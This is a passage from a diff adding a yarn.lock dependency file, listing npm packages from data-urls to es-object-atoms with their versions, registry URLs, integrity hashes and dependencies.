+  integrity sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA==
+
+data-urls@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/data-urls/-/data-urls-2.0.0.tgz#156485a72963a970f5d5821aaf642bef2bf2db9b"
+  integrity sha512-X5eWTSXO/BJmpdIKCRuKUgSCgAN0OwliVK3yPKbwIWU1Tdw5BRajxlzMidvh+gwko9AfQ9zIj52pzF91Q3YAvQ==
+  dependencies:
+    abab "^2.0.3"
+    whatwg-mimetype "^2.3.0"
+    whatwg-url "^8.0.0"
+
+data-view-buffer@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/data-view-buffer/-/data-view-buffer-1.0.2.tgz#211a03ba95ecaf7798a8c7198d79536211f88570"
+  integrity sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.2"
+
+data-view-byte-length@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz#9e80f7ca52453ce3e93d25a35318767ea7704735"
+  integrity sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.2"
+
+data-view-byte-offset@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz#068307f9b71ab76dbbe10291389e020856606191"
+  integrity sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.1"
+
+debug@2.6.9, debug@^2.6.0:
+  version "2.6.9"
+  resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f"
+  integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==
+  dependencies:
+    ms "2.0.0"
+
+debug@4, debug@^4.1.0, debug@^4.1.1, debug@^4.3.1, debug@^4.3.2, debug@^4.3.4:
+  version "4.4.0"
+  resolved "https://registry.yarnpkg.com/debug/-/debug-4.4.0.tgz#2b3f2aea2ffeb776477460267377dc8710faba8a"
+  integrity sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==
+  dependencies:
+    ms "^2.1.3"
+
+debug@^3.2.7:
+  version "3.2.7"
+  resolved "https://registry.yarnpkg.com/debug/-/debug-3.2.7.tgz#72580b7e9145fb39b6676f9c5e5fb100b934179a"
+  integrity sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==
+  dependencies:
+    ms "^2.1.1"
+
+decimal.js@^10.2.1:
+  version "10.5.0"
+  resolved "https://registry.yarnpkg.com/decimal.js/-/decimal.js-10.5.0.tgz#0f371c7cf6c4898ce0afb09836db73cd82010f22"
+  integrity sha512-8vDa8Qxvr/+d94hSh5P3IJwI5t8/c0KsMp+g8bNw9cY2icONa5aPfvKeieW1WlG0WQYwwhJ7mjui2xtiePQSXw==
+
+dedent@^0.7.0:
+  version "0.7.0"
+  resolved "https://registry.yarnpkg.com/dedent/-/dedent-0.7.0.tgz#2495ddbaf6eb874abb0e1be9df22d2e5a544326c"
+  integrity sha512-Q6fKUPqnAHAyhiUgFU7BUzLiv0kd8saH9al7tnu5Q/okj6dnupxyTgFIBjVzJATdfIAm9NAsvXNzjaKa+bxVyA==
+
+deep-is@^0.1.3, deep-is@~0.1.3:
+  version "0.1.4"
+  resolved "https://registry.yarnpkg.com/deep-is/-/deep-is-0.1.4.tgz#a6f2dce612fadd2ef1f519b73551f17e85199831"
+  integrity sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==
+
+deepmerge@^4.2.2:
+  version "4.3.1"
+  resolved "https://registry.yarnpkg.com/deepmerge/-/deepmerge-4.3.1.tgz#44b5f2147cd3b00d4b56137685966f26fd25dd4a"
+  integrity sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==
+
+default-gateway@^6.0.3:
+  version "6.0.3"
+  resolved "https://registry.yarnpkg.com/default-gateway/-/default-gateway-6.0.3.tgz#819494c888053bdb743edbf343d6cdf7f2943a71"
+  integrity sha512-fwSOJsbbNzZ/CUFpqFBqYfYNLj1NbMPm8MMCIzHjC83iSJRBEGmDUxU+WP661BaBQImeC2yHwXtz+P/O9o+XEg==
+  dependencies:
+    execa "^5.0.0"
+
+define-data-property@^1.0.1, define-data-property@^1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/define-data-property/-/define-data-property-1.1.4.tgz#894dc141bb7d3060ae4366f6a0107e68fbe48c5e"
+  integrity sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==
+  dependencies:
+    es-define-property "^1.0.0"
+    es-errors "^1.3.0"
+    gopd "^1.0.1"
+
+define-lazy-prop@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz#3f7ae421129bcaaac9bc74905c98a0009ec9ee7f"
+  integrity sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==
+
+define-properties@^1.1.3, define-properties@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.2.1.tgz#10781cc616eb951a80a034bafcaa7377f6af2b6c"
+  integrity sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==
+  dependencies:
+    define-data-property "^1.0.1"
+    has-property-descriptors "^1.0.0"
+    object-keys "^1.1.1"
+
+delayed-stream@~1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/delayed-stream/-/delayed-stream-1.0.0.tgz#df3ae199acadfb7d440aaae0b29e2272b24ec619"
+  integrity sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==
+
+depd@2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/depd/-/depd-2.0.0.tgz#b696163cc757560d09cf22cc8fad1571b79e76df"
+  integrity sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==
+
+depd@~1.1.2:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/depd/-/depd-1.1.2.tgz#9bcd52e14c097763e749b274c4346ed2e560b5a9"
+  integrity sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ==
+
+destroy@1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/destroy/-/destroy-1.2.0.tgz#4803735509ad8be552934c67df614f94e66fa015"
+  integrity sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==
+
+detect-newline@^3.0.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/detect-newline/-/detect-newline-3.1.0.tgz#576f5dfc63ae1a192ff192d8ad3af6308991b651"
+  integrity sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==
+
+detect-node@^2.0.4:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/detect-node/-/detect-node-2.1.0.tgz#c9c70775a49c3d03bc2c06d9a73be550f978f8b1"
+  integrity sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==
+
+detect-port-alt@^1.1.6:
+  version "1.1.6"
+  resolved "https://registry.yarnpkg.com/detect-port-alt/-/detect-port-alt-1.1.6.tgz#24707deabe932d4a3cf621302027c2b266568275"
+  integrity sha512-5tQykt+LqfJFBEYaDITx7S7cR7mJ/zQmLXZ2qt5w04ainYZw6tBf9dBunMjVeVOdYVRUzUOE4HkY5J7+uttb5Q==
+  dependencies:
+    address "^1.0.1"
+    debug "^2.6.0"
+
+didyoumean@^1.2.2:
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/didyoumean/-/didyoumean-1.2.2.tgz#989346ffe9e839b4555ecf5666edea0d3e8ad037"
+  integrity sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==
+
+diff-sequences@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/diff-sequences/-/diff-sequences-27.5.1.tgz#eaecc0d327fd68c8d9672a1e64ab8dccb2ef5327"
+  integrity sha512-k1gCAXAsNgLwEL+Y8Wvl+M6oEFj5bgazfZULpS5CneoPPXRaCCW7dm+q21Ky2VEE5X+VeRDBVg1Pcvvsr4TtNQ==
+
+dir-glob@^3.0.1:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/dir-glob/-/dir-glob-3.0.1.tgz#56dbf73d992a4a93ba1584f4534063fd2e41717f"
+  integrity sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==
+  dependencies:
+    path-type "^4.0.0"
+
+dlv@^1.1.3:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/dlv/-/dlv-1.1.3.tgz#5c198a8a11453596e751494d49874bc7732f2e79"
+  integrity sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==
+
+dns-packet@^5.2.2:
+  version "5.6.1"
+  resolved "https://registry.yarnpkg.com/dns-packet/-/dns-packet-5.6.1.tgz#ae888ad425a9d1478a0674256ab866de1012cf2f"
+  integrity sha512-l4gcSouhcgIKRvyy99RNVOgxXiicE+2jZoNmaNmZ6JXiGajBOJAesk1OBlJuM5k2c+eudGdLxDqXuPCKIj6kpw==
+  dependencies:
+    "@leichtgewicht/ip-codec" "^2.0.1"
+
+doctrine@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-2.1.0.tgz#5cd01fc101621b42c4cd7f5d1a66243716d3f39d"
+  integrity sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==
+  dependencies:
+    esutils "^2.0.2"
+
+doctrine@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-3.0.0.tgz#addebead72a6574db783639dc87a121773973961"
+  integrity sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==
+  dependencies:
+    esutils "^2.0.2"
+
+dom-converter@^0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/dom-converter/-/dom-converter-0.2.0.tgz#6721a9daee2e293682955b6afe416771627bb768"
+  integrity sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==
+  dependencies:
+    utila "~0.4"
+
+dom-serializer@0:
+  version "0.2.2"
+  resolved "https://registry.yarnpkg.com/dom-serializer/-/dom-serializer-0.2.2.tgz#1afb81f533717175d478655debc5e332d9f9bb51"
+  integrity sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==
+  dependencies:
+    domelementtype "^2.0.1"
+    entities "^2.0.0"
+
+dom-serializer@^1.0.1:
+  version "1.4.1"
+  resolved "https://registry.yarnpkg.com/dom-serializer/-/dom-serializer-1.4.1.tgz#de5d41b1aea290215dc45a6dae8adcf1d32e2d30"
+  integrity sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==
+  dependencies:
+    domelementtype "^2.0.1"
+    domhandler "^4.2.0"
+    entities "^2.0.0"
+
+domelementtype@1:
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-1.3.1.tgz#d048c44b37b0d10a7f2a3d5fee3f4333d790481f"
+  integrity sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w==
+
+domelementtype@^2.0.1, domelementtype@^2.2.0:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-2.3.0.tgz#5c45e8e869952626331d7aab326d01daf65d589d"
+  integrity sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==
+
+domexception@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/domexception/-/domexception-2.0.1.tgz#fb44aefba793e1574b0af6aed2801d057529f304"
+  integrity sha512-yxJ2mFy/sibVQlu5qHjOkf9J3K6zgmCxgJ94u2EdvDOV09H+32LtRswEcUsmUWN72pVLOEnTSRaIVVzVQgS0dg==
+  dependencies:
+    webidl-conversions "^5.0.0"
+
+domhandler@^4.0.0, domhandler@^4.2.0, domhandler@^4.3.1:
+  version "4.3.1"
+  resolved "https://registry.yarnpkg.com/domhandler/-/domhandler-4.3.1.tgz#8d792033416f59d68bc03a5aa7b018c1ca89279c"
+  integrity sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==
+  dependencies:
+    domelementtype "^2.2.0"
+
+domutils@^1.7.0:
+  version "1.7.0"
+  resolved "https://registry.yarnpkg.com/domutils/-/domutils-1.7.0.tgz#56ea341e834e06e6748af7a1cb25da67ea9f8c2a"
+  integrity sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==
+  dependencies:
+    dom-serializer "0"
+    domelementtype "1"
+
+domutils@^2.5.2, domutils@^2.8.0:
+  version "2.8.0"
+  resolved "https://registry.yarnpkg.com/domutils/-/domutils-2.8.0.tgz#4437def5db6e2d1f5d6ee859bd95ca7d02048135"
+  integrity sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==
+  dependencies:
+    dom-serializer "^1.0.1"
+    domelementtype "^2.2.0"
+    domhandler "^4.2.0"
+
+dot-case@^3.0.4:
+  version "3.0.4"
+  resolved "https://registry.yarnpkg.com/dot-case/-/dot-case-3.0.4.tgz#9b2b670d00a431667a8a75ba29cd1b98809ce751"
+  integrity sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==
+  dependencies:
+    no-case "^3.0.4"
+    tslib "^2.0.3"
+
+dotenv-expand@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/dotenv-expand/-/dotenv-expand-5.1.0.tgz#3fbaf020bfd794884072ea26b1e9791d45a629f0"
+  integrity sha512-YXQl1DSa4/PQyRfgrv6aoNjhasp/p4qs9FjJ4q4cQk+8m4r6k4ZSiEyytKG8f8W9gi8WsQtIObNmKd+tMzNTmA==
+
+dotenv@^10.0.0:
+  version "10.0.0"
+  resolved "https://registry.yarnpkg.com/dotenv/-/dotenv-10.0.0.tgz#3d4227b8fb95f81096cdd2b66653fb2c7085ba81"
+  integrity sha512-rlBi9d8jpv9Sf1klPjNfFAuWDjKLwTIJJ/VxtoTwIR6hnZxcEOQCZg2oIL3MWBYw5GpUDKOEnND7LXTbIpQ03Q==
+
+dunder-proto@^1.0.0, dunder-proto@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/dunder-proto/-/dunder-proto-1.0.1.tgz#d7ae667e1dc83482f8b70fd0f6eefc50da30f58a"
+  integrity sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==
+  dependencies:
+    call-bind-apply-helpers "^1.0.1"
+    es-errors "^1.3.0"
+    gopd "^1.2.0"
+
+duplexer@^0.1.2:
+  version "0.1.2"
+  resolved "https://registry.yarnpkg.com/duplexer/-/duplexer-0.1.2.tgz#3abe43aef3835f8ae077d136ddce0f276b0400e6"
+  integrity sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==
+
+eastasianwidth@^0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/eastasianwidth/-/eastasianwidth-0.2.0.tgz#696ce2ec0aa0e6ea93a397ffcf24aa7840c827cb"
+  integrity sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==
+
+ee-first@1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d"
+  integrity sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==
+
+ejs@^3.1.6:
+  version "3.1.10"
+  resolved "https://registry.yarnpkg.com/ejs/-/ejs-3.1.10.tgz#69ab8358b14e896f80cc39e62087b88500c3ac3b"
+  integrity sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==
+  dependencies:
+    jake "^10.8.5"
+
+electron-to-chromium@^1.5.73:
+  version "1.5.92"
+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.92.tgz#81e8ebe06f8e2a49fdba84bd10e9ad5b63efffe0"
+  integrity sha512-BeHgmNobs05N1HMmMZ7YIuHfYBGlq/UmvlsTgg+fsbFs9xVMj+xJHFg19GN04+9Q+r8Xnh9LXqaYIyEWElnNgQ==
+
+emittery@^0.10.2:
+  version "0.10.2"
+  resolved "https://registry.yarnpkg.com/emittery/-/emittery-0.10.2.tgz#902eec8aedb8c41938c46e9385e9db7e03182933"
+  integrity sha512-aITqOwnLanpHLNXZJENbOgjUBeHocD+xsSJmNrjovKBW5HbSpW3d1pEls7GFQPUWXiwG9+0P4GtHfEqC/4M0Iw==
+
+emittery@^0.8.1:
+  version "0.8.1"
+  resolved "https://registry.yarnpkg.com/emittery/-/emittery-0.8.1.tgz#bb23cc86d03b30aa75a7f734819dee2e1ba70860"
+  integrity sha512-uDfvUjVrfGJJhymx/kz6prltenw1u7WrCg1oa94zYY8xxVpLLUu045LAT0dhDZdXG58/EpPL/5kA180fQ/qudg==
+
+emoji-regex@^8.0.0:
+  version "8.0.0"
+  resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-8.0.0.tgz#e818fd69ce5ccfcb404594f842963bf53164cc37"
+  integrity sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==
+
+emoji-regex@^9.2.2:
+  version "9.2.2"
+  resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-9.2.2.tgz#840c8803b0d8047f4ff0cf963176b32d4ef3ed72"
+  integrity sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==
+
+emojis-list@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/emojis-list/-/emojis-list-3.0.0.tgz#5570662046ad29e2e916e71aae260abdff4f6a78"
+  integrity sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==
+
+encodeurl@~1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59"
+  integrity sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==
+
+encodeurl@~2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-2.0.0.tgz#7b8ea898077d7e409d3ac45474ea38eaf0857a58"
+  integrity sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==
+
+enhanced-resolve@^5.17.1:
+  version "5.18.1"
+  resolved "https://registry.yarnpkg.com/enhanced-resolve/-/enhanced-resolve-5.18.1.tgz#728ab082f8b7b6836de51f1637aab5d3b9568faf"
+  integrity sha512-ZSW3ma5GkcQBIpwZTSRAI8N71Uuwgs93IezB7mf7R60tC8ZbJideoDNKjHn2O9KIlx6rkGTTEk1xUCK2E1Y2Yg==
+  dependencies:
+    graceful-fs "^4.2.4"
+    tapable "^2.2.0"
+
+entities@^2.0.0:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/entities/-/entities-2.2.0.tgz#098dc90ebb83d8dffa089d55256b351d34c4da55"
+  integrity sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==
+
+error-ex@^1.3.1:
+  version "1.3.2"
+  resolved "https://registry.yarnpkg.com/error-ex/-/error-ex-1.3.2.tgz#b4ac40648107fdcdcfae242f428bea8a14d4f1bf"
+  integrity sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==
+  dependencies:
+    is-arrayish "^0.2.1"
+
+error-stack-parser@^2.0.6:
+  version "2.1.4"
+  resolved "https://registry.yarnpkg.com/error-stack-parser/-/error-stack-parser-2.1.4.tgz#229cb01cdbfa84440bfa91876285b94680188286"
+  integrity sha512-Sk5V6wVazPhq5MhpO+AUxJn5x7XSXGl1R93Vn7i+zS15KDVxQijejNCrz8340/2bgLBjR9GtEG8ZVKONDjcqGQ==
+  dependencies:
+    stackframe "^1.3.4"
+
+es-abstract@^1.17.2, es-abstract@^1.17.5, es-abstract@^1.23.2, es-abstract@^1.23.3, es-abstract@^1.23.5, es-abstract@^1.23.6, es-abstract@^1.23.9:
+  version "1.23.9"
+  resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.23.9.tgz#5b45994b7de78dada5c1bebf1379646b32b9d606"
+  integrity sha512-py07lI0wjxAC/DcfK1S6G7iANonniZwTISvdPzk9hzeH0IZIshbuuFxLIU96OyF89Yb9hiqWn8M/bY83KY5vzA==
+  dependencies:
+    array-buffer-byte-length "^1.0.2"
+    arraybuffer.prototype.slice "^1.0.4"
+    available-typed-arrays "^1.0.7"
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    data-view-buffer "^1.0.2"
+    data-view-byte-length "^1.0.2"
+    data-view-byte-offset "^1.0.1"
+    es-define-property "^1.0.1"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    es-set-tostringtag "^2.1.0"
+    es-to-primitive "^1.3.0"
+    function.prototype.name "^1.1.8"
+    get-intrinsic "^1.2.7"
+    get-proto "^1.0.0"
+    get-symbol-description "^1.1.0"
+    globalthis "^1.0.4"
+    gopd "^1.2.0"
+    has-property-descriptors "^1.0.2"
+    has-proto "^1.2.0"
+    has-symbols "^1.1.0"
+    hasown "^2.0.2"
+    internal-slot "^1.1.0"
+    is-array-buffer "^3.0.5"
+    is-callable "^1.2.7"
+    is-data-view "^1.0.2"
+    is-regex "^1.2.1"
+    is-shared-array-buffer "^1.0.4"
+    is-string "^1.1.1"
+    is-typed-array "^1.1.15"
+    is-weakref "^1.1.0"
+    math-intrinsics "^1.1.0"
+    object-inspect "^1.13.3"
+    object-keys "^1.1.1"
+    object.assign "^4.1.7"
+    own-keys "^1.0.1"
+    regexp.prototype.flags "^1.5.3"
+    safe-array-concat "^1.1.3"
+    safe-push-apply "^1.0.0"
+    safe-regex-test "^1.1.0"
+    set-proto "^1.0.0"
+    string.prototype.trim "^1.2.10"
+    string.prototype.trimend "^1.0.9"
+    string.prototype.trimstart "^1.0.8"
+    typed-array-buffer "^1.0.3"
+    typed-array-byte-length "^1.0.3"
+    typed-array-byte-offset "^1.0.4"
+    typed-array-length "^1.0.7"
+    unbox-primitive "^1.1.0"
+    which-typed-array "^1.1.18"
+
+es-array-method-boxes-properly@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/es-array-method-boxes-properly/-/es-array-method-boxes-properly-1.0.0.tgz#873f3e84418de4ee19c5be752990b2e44718d09e"
+  integrity sha512-wd6JXUmyHmt8T5a2xreUwKcGPq6f1f+WwIJkijUqiGcJz1qqnZgP6XIK+QyIWU5lT7imeNxUll48bziG+TSYcA==
+
+es-define-property@^1.0.0, es-define-property@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/es-define-property/-/es-define-property-1.0.1.tgz#983eb2f9a6724e9303f61addf011c72e09e0b0fa"
+  integrity sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==
+
+es-errors@^1.3.0:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/es-errors/-/es-errors-1.3.0.tgz#05f75a25dab98e4fb1dcd5e1472c0546d5057c8f"
+  integrity sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==
+
+es-iterator-helpers@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/es-iterator-helpers/-/es-iterator-helpers-1.2.1.tgz#d1dd0f58129054c0ad922e6a9a1e65eef435fe75"
+  integrity sha512-uDn+FE1yrDzyC0pCo961B2IHbdM8y/ACZsKD4dG6WqrjV53BADjwa7D+1aom2rsNVfLyDgU/eigvlJGJ08OQ4w==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.6"
+    es-errors "^1.3.0"
+    es-set-tostringtag "^2.0.3"
+    function-bind "^1.1.2"
+    get-intrinsic "^1.2.6"
+    globalthis "^1.0.4"
+    gopd "^1.2.0"
+    has-property-descriptors "^1.0.2"
+    has-proto "^1.2.0"
+    has-symbols "^1.1.0"
+    internal-slot "^1.1.0"
+    iterator.prototype "^1.1.4"
+    safe-array-concat "^1.1.3"
+
+es-module-lexer@^1.2.1:
+  version "1.6.0"
+  resolved "https://registry.yarnpkg.com/es-module-lexer/-/es-module-lexer-1.6.0.tgz#da49f587fd9e68ee2404fe4e256c0c7d3a81be21"
+  integrity sha512-qqnD1yMU6tk/jnaMosogGySTZP8YtUgAffA9nMN+E/rjxcfRQ6IEk7IiozUjgxKoFHBGjTLnrHB/YC45r/59EQ==
+
+es-object-atoms@^1.0.0:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/es-object-atoms/-/es-object-atoms-1.1.1.tgz#1c4f2c4837327597ce69d2ca190a7fdd172338c1"
